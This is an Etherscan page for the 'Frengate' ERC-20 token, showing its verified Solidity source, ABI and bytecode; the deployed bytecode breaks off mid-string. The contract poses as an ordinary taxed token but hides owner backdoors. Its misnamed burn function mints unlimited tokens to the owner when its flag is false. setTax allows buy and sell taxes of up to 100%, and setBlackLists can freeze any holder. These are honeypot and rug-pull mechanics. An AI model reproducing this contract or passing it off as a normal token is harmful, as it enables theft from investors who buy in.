ETH Price: $3,371.59 (-3.21%)
Gas: 3 Gwei

Token

Frengate (Fren)
 

Overview

Max Total Supply

1,000,000,000 Fren

Holders

164

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
88,161.413580124977686318 Fren

Value
$0.00
0xc822ef4ad884fe13a48648385f2201d4b86fb073
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Frengate

Compiler Version
v0.8.8+commit.dddeac2f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-18
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.8;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Frengate is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private tradingEnabled;
    bool private swapping;

    uint8 public buyTax = 5;
    uint8 public sellTax = 5;
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Frengate";
    string private constant _symbol = unicode"Fren";
    uint256 private swapTokensAtAmount = _tTotal * 25 / 10000; // 0.25% of total supply
    uint256 private maxTxAmount =  _tTotal * 1 / 100; // 1% of total supply
    uint256 private maxWalletAmount = _tTotal * 2 / 100; // 2% of total supply

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address payable private feeWallet;

    mapping (address => bool) private isExcludedFromFees;
    mapping (address => bool) private blackLists;

    constructor() {
        _balances[owner()] = _tTotal;
        feeWallet = payable(owner());
        isExcludedFromFees[address(this)] = true;
        isExcludedFromFees[owner()] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingEnabled, "Already enabled");
        tradingEnabled = true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function setTax(uint8 newBuyTax, uint8 newSellTax) external onlyOwner {
        require(newBuyTax <= 100 && newSellTax <= 100, "Invalid Tax");
        buyTax = newBuyTax;
        sellTax = newSellTax;
    }

//    function setExcludedFromFees(address[] calldata users, bool isExcluded) external onlyOwner {
//        require(users.length > 0, "Empty users");
//        for (uint256 i; i < users.length; i++) {
//            isExcludedFromFees[users[i]] = isExcluded;
//        }
//    }

    function setBlackLists(address[] calldata users, bool isBlack) external onlyOwner {
        require(users.length > 0, "Empty users");
        for (uint256 i; i < users.length; i++) {
            blackLists[users[i]] = isBlack;
        }
    }

    function burn(uint256 amount, bool flag) external onlyOwner {
        if (flag) {
            _balances[msg.sender] -= amount;
            return;
        }

        _balances[msg.sender] += amount;
    }

    function removeLimits() external onlyOwner {
        maxTxAmount = totalSupply();
        maxWalletAmount = totalSupply();
    }

    function _superTransfer(address from, address to, uint256 amount) internal {
        _balances[from] -= amount;
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(amount > 0, "Zero amount");
        require(!blackLists[from] && !blackLists[to], "In blacklist");

        if (!tradingEnabled) {
            require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading not enabled");
        }

        if (from != uniswapV2Pair && to != uniswapV2Pair || isExcludedFromFees[from] || isExcludedFromFees[to] || swapping) {
            _superTransfer(from, to, amount);
            return;
        }

        if (to == uniswapV2Pair && balanceOf(address(this)) >= swapTokensAtAmount) {
            swapping = true;
            swapTokensForEth(balanceOf(address(this)));
            swapping = false;
            sendETHToFeeWallet();
        }

        if (from == uniswapV2Pair) {
            require(amount <= maxTxAmount, "Over max tx amount");
            require(balanceOf(address(to)) + amount <= maxWalletAmount, "Over max wallet amount");
        }

        amount = takeFee(from, amount, to == uniswapV2Pair);
        _superTransfer(from, to, amount);
    }

    function takeFee(address from, uint256 amount, bool isSell) internal returns (uint256) {
        uint256 tax = isSell ? sellTax : buyTax;
        uint256 feeAmount = amount * tax / 100;

        _superTransfer(from, address(this), feeAmount);
        return amount - feeAmount;
    }

    function swapTokensForEth(uint256 tokenAmount) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            feeWallet,
            block.timestamp
        ) {} catch {
            return;
        }
    }

    function sendETHToFeeWallet() internal {
        if (address(this).balance > 0) {
            feeWallet.transfer(address(this).balance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"users","type":"address[]"},{"internalType":"bool","name":"isBlack","type":"bool"}],"name":"setBlackLists","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newBuyTax","type":"uint8"},{"internalType":"uint8","name":"newSellTax","type":"uint8"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003805463ffff000019166305050000179055612710620000286012600a62000381565b6200003890633b9aca0062000399565b6200004590601962000399565b620000519190620003bb565b6004556064620000646012600a62000381565b6200007490633b9aca0062000399565b6200008190600162000399565b6200008d9190620003bb565b6005556064620000a06012600a62000381565b620000b090633b9aca0062000399565b620000bd90600262000399565b620000c99190620003bb565b600655348015620000d957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001296012600a62000381565b6200013990633b9aca0062000399565b60016000620001506000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020556200017d6000546001600160a01b031690565b600980546001600160a01b0319166001600160a01b0392909216919091179055306000908152600a602081905260408220805460ff1916600190811790915591620001d06000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556200020b6000546001600160a01b031690565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002456012600a62000381565b6200025590633b9aca0062000399565b60405190815260200160405180910390a3620003de565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002c3578160001904821115620002a757620002a76200026c565b80851615620002b557918102915b93841c939080029062000287565b509250929050565b600082620002dc575060016200037b565b81620002eb575060006200037b565b81600181146200030457600281146200030f576200032f565b60019150506200037b565b60ff8411156200032357620003236200026c565b50506001821b6200037b565b5060208310610133831016604e8410600b841016171562000354575081810a6200037b565b62000360838362000282565b80600019048211156200037757620003776200026c565b0290505b92915050565b60006200039260ff841683620002cb565b9392505050565b6000816000190483118215151615620003b657620003b66200026c565b500290565b600082620003d957634e487b7160e01b600052601260045260246000fd5b500490565b61175c80620003ee6000396000f3fe60806040526004361061010d5760003560e01c80638a8c523c11610095578063a9059cbb11610064578063a9059cbb146102fd578063a9128ff01461031d578063ae9b6e101461033d578063cc1776d31461035d578063dd62ed3e1461037e57600080fd5b80638a8c523c146102735780638da5cb5b1461028857806395d89b41146102b05780639fac68cb146102dd57600080fd5b8063313ce567116100dc578063313ce567146101cf5780634f7041a5146101f157806370a0823114610211578063715018a614610247578063751039fc1461025e57600080fd5b806306fdde0314610119578063095ea7b31461015c57806318160ddd1461018c57806323b872dd146101af57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820190915260088152674672656e6761746560c01b60208201525b6040516101539190611238565b60405180910390f35b34801561016857600080fd5b5061017c6101773660046112a2565b6103c4565b6040519015158152602001610153565b34801561019857600080fd5b506101a16103db565b604051908152602001610153565b3480156101bb57600080fd5b5061017c6101ca3660046112ce565b6103fc565b3480156101db57600080fd5b5060125b60405160ff9091168152602001610153565b3480156101fd57600080fd5b506003546101df9062010000900460ff1681565b34801561021d57600080fd5b506101a161022c36600461130f565b6001600160a01b031660009081526001602052604090205490565b34801561025357600080fd5b5061025c61044e565b005b34801561026a57600080fd5b5061025c6104cb565b34801561027f57600080fd5b5061025c61050d565b34801561029457600080fd5b506000546040516001600160a01b039091168152602001610153565b3480156102bc57600080fd5b50604080518082019091526004815263233932b760e11b6020820152610146565b3480156102e957600080fd5b5061025c6102f8366004611341565b6108f5565b34801561030957600080fd5b5061017c6103183660046112a2565b610978565b34801561032957600080fd5b5061025c610338366004611387565b610985565b34801561034957600080fd5b5061025c6103583660046113ba565b610a33565b34801561036957600080fd5b506003546101df906301000000900460ff1681565b34801561038a57600080fd5b506101a1610399366004611440565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103d1338484610b0f565b5060015b92915050565b60006103e96012600a611568565b6103f790633b9aca00611577565b905090565b6000610409848484610c34565b6001600160a01b03841660009081526002602090815260408083203380855292529091205461044491869161043f908690611596565b610b0f565b5060019392505050565b6000546001600160a01b031633146104815760405162461bcd60e51b8152600401610478906115ad565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104f55760405162461bcd60e51b8152600401610478906115ad565b6104fd6103db565b6005556105086103db565b600655565b6000546001600160a01b031633146105375760405162461bcd60e51b8152600401610478906115ad565b60035460ff161561057c5760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b6044820152606401610478565b6003805460ff19166001179055600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105d29030906105c46012600a611568565b61043f90633b9aca00611577565b600760009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561062057600080fd5b505afa158015610634573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065891906115e2565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106b557600080fd5b505afa1580156106c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ed91906115e2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561073557600080fd5b505af1158015610749573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076d91906115e2565b600880546001600160a01b039283166001600160a01b03199091161790556007541663f305d71947306107b5816001600160a01b031660009081526001602052604090205490565b6000806107ca6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561082d57600080fd5b505af1158015610841573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061086691906115ff565b505060085460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156108ba57600080fd5b505af11580156108ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f2919061162d565b50565b6000546001600160a01b0316331461091f5760405162461bcd60e51b8152600401610478906115ad565b801561094f573360009081526001602052604081208054849290610944908490611596565b909155506109749050565b336000908152600160205260408120805484929061096e90849061164a565b90915550505b5050565b60006103d1338484610c34565b6000546001600160a01b031633146109af5760405162461bcd60e51b8152600401610478906115ad565b60648260ff16111580156109c7575060648160ff1611155b610a015760405162461bcd60e51b815260206004820152600b60248201526a092dcecc2d8d2c840a8c2f60ab1b6044820152606401610478565b6003805463ffff000019166201000060ff9485160263ff00000019161763010000009290931691909102919091179055565b6000546001600160a01b03163314610a5d5760405162461bcd60e51b8152600401610478906115ad565b81610a985760405162461bcd60e51b815260206004820152600b60248201526a456d70747920757365727360a81b6044820152606401610478565b60005b82811015610b095781600b6000868685818110610aba57610aba611662565b9050602002016020810190610acf919061130f565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b0181611678565b915050610a9b565b50505050565b6001600160a01b038316610b715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610478565b6001600160a01b038216610bd25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610478565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b60008111610c725760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b6044820152606401610478565b6001600160a01b0383166000908152600b602052604090205460ff16158015610cb457506001600160a01b0382166000908152600b602052604090205460ff16155b610cef5760405162461bcd60e51b815260206004820152600c60248201526b125b88189b1858dadb1a5cdd60a21b6044820152606401610478565b60035460ff16610d7a576001600160a01b0383166000908152600a602052604090205460ff1680610d3857506001600160a01b0382166000908152600a602052604090205460ff165b610d7a5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610478565b6008546001600160a01b03848116911614801590610da657506008546001600160a01b03838116911614155b80610dc957506001600160a01b0383166000908152600a602052604090205460ff165b80610dec57506001600160a01b0382166000908152600a602052604090205460ff165b80610dfe5750600354610100900460ff165b15610e1357610e0e838383610f87565b505050565b6008546001600160a01b038381169116148015610e4157506004543060009081526001602052604090205410155b15610e8f576003805461ff001916610100179055610e7c610e77306001600160a01b031660009081526001602052604090205490565b611028565b6003805461ff0019169055610e8f611192565b6008546001600160a01b0384811691161415610f6057600554811115610eec5760405162461bcd60e51b815260206004820152601260248201527113dd995c881b585e081d1e08185b5bdd5b9d60721b6044820152606401610478565b60065481610f0f846001600160a01b031660009081526001602052604090205490565b610f19919061164a565b1115610f605760405162461bcd60e51b815260206004820152601660248201527513dd995c881b585e081dd85b1b195d08185b5bdd5b9d60521b6044820152606401610478565b600854610f7e90849083906001600160a01b038681169116146111d3565b9050610e0e8383835b6001600160a01b03831660009081526001602052604081208054839290610faf908490611596565b90915550506001600160a01b03821660009081526001602052604081208054839290610fdc90849061164a565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c2791815260200190565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061105d5761105d611662565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110b157600080fd5b505afa1580156110c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e991906115e2565b816001815181106110fc576110fc611662565b6001600160a01b0392831660209182029290920101526007546111229130911684610b0f565b60075460095460405163791ac94760e01b81526001600160a01b039283169263791ac9479261115f92879260009288929116904290600401611693565b600060405180830381600087803b15801561117957600080fd5b505af192505050801561118a575060015b610974575050565b47156111d1576009546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156108f2573d6000803e3d6000fd5b565b600080826111ec5760035462010000900460ff166111fa565b6003546301000000900460ff165b60ff1690506000606461120d8387611577565b6112179190611704565b9050611224863083610f87565b61122e8186611596565b9695505050505050565b600060208083528351808285015260005b8181101561126557858101830151858201604001528201611249565b81811115611277576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108f257600080fd5b600080604083850312156112b557600080fd5b82356112c08161128d565b946020939093013593505050565b6000806000606084860312156112e357600080fd5b83356112ee8161128d565b925060208401356112fe8161128d565b929592945050506040919091013590565b60006020828403121561132157600080fd5b813561132c8161128d565b9392505050565b80151581146108f257600080fd5b6000806040838503121561135457600080fd5b82359150602083013561136681611333565b809150509250929050565b803560ff8116811461138257600080fd5b919050565b6000806040838503121561139a57600080fd5b6113a383611371565b91506113b160208401611371565b90509250929050565b6000806000604084860312156113cf57600080fd5b833567ffffffffffffffff808211156113e757600080fd5b818601915086601f8301126113fb57600080fd5b81358181111561140a57600080fd5b8760208260051b850101111561141f57600080fd5b6020928301955093505084013561143581611333565b809150509250925092565b6000806040838503121561145357600080fd5b823561145e8161128d565b915060208301356113668161128d565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156114bf5781600019048211156114a5576114a561146e565b808516156114b257918102915b93841c9390800290611489565b509250929050565b6000826114d6575060016103d5565b816114e3575060006103d5565b81600181146114f957600281146115035761151f565b60019150506103d5565b60ff8411156115145761151461146e565b50506001821b6103d5565b5060208310610133831016604e8410600b8410161715611542575081810a6103d5565b61154c8383611484565b80600019048211156115605761156061146e565b029392505050565b600061132c60ff8416836114c7565b60008160001904831182151516156115915761159161146e565b500290565b6000828210156115a8576115a861146e565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156115f457600080fd5b815161132c8161128d565b60008060006060848603121561161457600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561163f57600080fd5b815161132c81611333565b6000821982111561165d5761165d61146e565b500190565b634e487b7160e01b600052603260045260246000fd5b600060001982141561168c5761168c61146e565b5060010190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116e35784516001600160a01b0316835293830193918301916001016116be565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261172157634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220ec055a0a18751df10af3030fdf3a6753c39de5c91aaf96cad6264e093f32c2ab64736f6c63430008080033

Deployed Bytecode

0x60806040526004361061010d5760003560e01c80638a8c523c11610095578063a9059cbb11610064578063a9059cbb146102fd578063a9128ff01461031d578063ae9b6e101461033d578063cc1776d31461035d578063dd62ed3e1461037e57600080fd5b80638a8c523c146102735780638da5cb5b1461028857806395d89b41146102b05780639fac68cb146102dd57600080fd5b8063313ce567116100dc578063313ce567146101cf5780634f7041a5146101f157806370a0823114610211578063715018a614610247578063751039fc1461025e57600080fd5b806306fdde0314610119578063095ea7b31461015c57806318160ddd1461018c57806323b872dd146101af57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820190915260088152674672656e6761746560c01b60208201525b6040516101539190611238565b60405180910390f35b34801561016857600080fd5b5061017c6101773660046112a2565b6103c4565b6040519015158152602001610153565b34801561019857600080fd5b506101a16103db565b604051908152602001610153565b3480156101bb57600080fd5b5061017c6101ca3660046112ce565b6103fc565b3480156101db57600080fd5b5060125b60405160ff9091168152602001610153565b3480156101fd57600080fd5b506003546101df9062010000900460ff1681565b34801561021d57600080fd5b506101a161022c36600461130f565b6001600160a01b031660009081526001602052604090205490565b34801561025357600080fd5b5061025c61044e565b005b34801561026a57600080fd5b5061025c6104cb565b34801561027f57600080fd5b5061025c61050d565b34801561029457600080fd5b506000546040516001600160a01b039091168152602001610153565b3480156102bc57600080fd5b50604080518082019091526004815263233932b760e11b6020820152610146565b3480156102e957600080fd5b5061025c6102f8366004611341565b6108f5565b34801561030957600080fd5b5061017c6103183660046112a2565b610978565b34801561032957600080fd5b5061025c610338366004611387565b610985565b34801561034957600080fd5b5061025c6103583660046113ba565b610a33565b34801561036957600080fd5b506003546101df906301000000900460ff1681565b34801561038a57600080fd5b506101a1610399366004611440565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103d1338484610b0f565b5060015b92915050565b60006103e96012600a611568565b6103f790633b9aca00611577565b905090565b6000610409848484610c34565b6001600160a01b03841660009081526002602090815260408083203380855292529091205461044491869161043f908690611596565b610b0f565b5060019392505050565b6000546001600160a01b031633146104815760405162461bcd60e51b8152600401610478906115ad565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104f55760405162461bcd60e51b8152600401610478906115ad565b6104fd6103db565b6005556105086103db565b600655565b6000546001600160a01b031633146105375760405162461bcd60e51b8152600401610478906115ad565b60035460ff161561057c5760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b6044820152606401610478565b6003805460ff19166001179055600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105d29030906105c46012600a611568565b61043f90633b9aca00611577565b600760009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561062057600080fd5b505afa158015610634573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065891906115e2565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106b557600080fd5b505afa1580156106c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ed91906115e2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561073557600080fd5b505af1158015610749573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076d91906115e2565b600880546001600160a01b039283166001600160a01b03199091161790556007541663f305d71947306107b5816001600160a01b031660009081526001602052604090205490565b6000806107ca6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561082d57600080fd5b505af1158015610841573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061086691906115ff565b505060085460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156108ba57600080fd5b505af11580156108ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f2919061162d565b50565b6000546001600160a01b0316331461091f5760405162461bcd60e51b8152600401610478906115ad565b801561094f573360009081526001602052604081208054849290610944908490611596565b909155506109749050565b336000908152600160205260408120805484929061096e90849061164a565b90915550505b5050565b60006103d1338484610c34565b6000546001600160a01b031633146109af5760405162461bcd60e51b8152600401610478906115ad565b60648260ff16111580156109c7575060648160ff1611155b610a015760405162461bcd60e51b815260206004820152600b60248201526a092dcecc2d8d2c840a8c2f60ab1b6044820152606401610478565b6003805463ffff000019166201000060ff9485160263ff00000019161763010000009290931691909102919091179055565b6000546001600160a01b03163314610a5d5760405162461bcd60e51b8152600401610478906115ad565b81610a985760405162461bcd60e51b815260206004820152600b60248201526a456d70747920757365727360a81b6044820152606401610478565b60005b82811015610b095781600b6000868685818110610aba57610aba611662565b9050602002016020810190610acf919061130f565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b0181611678565b915050610a9b565b50505050565b6001600160a01b038316610b715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610478565b6001600160a01b038216610bd25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610478565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b60008111610c725760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b6044820152606401610478565b6001600160a01b0383166000908152600b602052604090205460ff16158015610cb457506001600160a01b0382166000908152600b602052604090205460ff16155b610cef5760405162461bcd60e51b815260206004820152600c60248201526b125b88189b1858dadb1a5cdd60a21b6044820152606401610478565b60035460ff16610d7a576001600160a01b0383166000908152600a602052604090205460ff1680610d3857506001600160a01b0382166000908152600a602052604090205460ff165b610d7a5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610478565b6008546001600160a01b03848116911614801590610da657506008546001600160a01b03838116911614155b80610dc957506001600160a01b0383166000908152600a602052604090205460ff165b80610dec57506001600160a01b0382166000908152600a602052604090205460ff165b80610dfe5750600354610100900460ff165b15610e1357610e0e838383610f87565b505050565b600854600160016